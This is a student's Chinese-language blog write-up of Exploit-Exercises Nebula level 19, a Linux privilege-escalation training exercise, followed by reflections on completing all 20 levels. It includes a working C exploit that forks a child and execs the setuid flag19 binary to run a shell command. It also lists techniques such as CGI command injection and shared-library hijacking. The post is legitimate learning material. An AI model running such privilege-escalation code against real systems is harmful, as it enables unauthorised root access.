免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践 (9)

编写攻击代码如下

//attack.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(void) { pid_t pid; pid = fork(); char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; if(pid == 0) { execve("/home/flag19/flag19",argvs,NULL); } else if(pid > 0) { exit(0); } return 0; }

这段攻击代码,利用fork出来的子进程执行getflag程序,并将结果重定向到/tmp/flag19_output文件中。

19-1

至此,我们成功通关nebula的全部20个关卡!

心得与体会

实话实说,exploit-exercise nebula的这20个练习让我感受到了自己 离技术的门槛还很遥远

其中的一系列linux提权和任意文件执行的技巧令我印象深刻——软链接大法,python反序列化漏洞,CGI程序的命令注入,共享库劫持,gdb调试……

很多练习以我的能力是不可能做出来的,在参考了网上的教程以后,我能够 大体感受到其中的 美妙之处

之前的实验,我们只是浅尝辄止地使用一些工具而已,我们对工具的应用也是浮于表面的,尽管能熟练使用工具并玩到极致的话,也可以弄出花样来。

这次的final让我彻底明白,只有对计算机足够精通,才能真正主宰一切,而这条道路对我们来说非常漫长。

不过,能够在本学期的课程中对计算机安全技术初窥门径,我已经很满足了。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwpfgy.html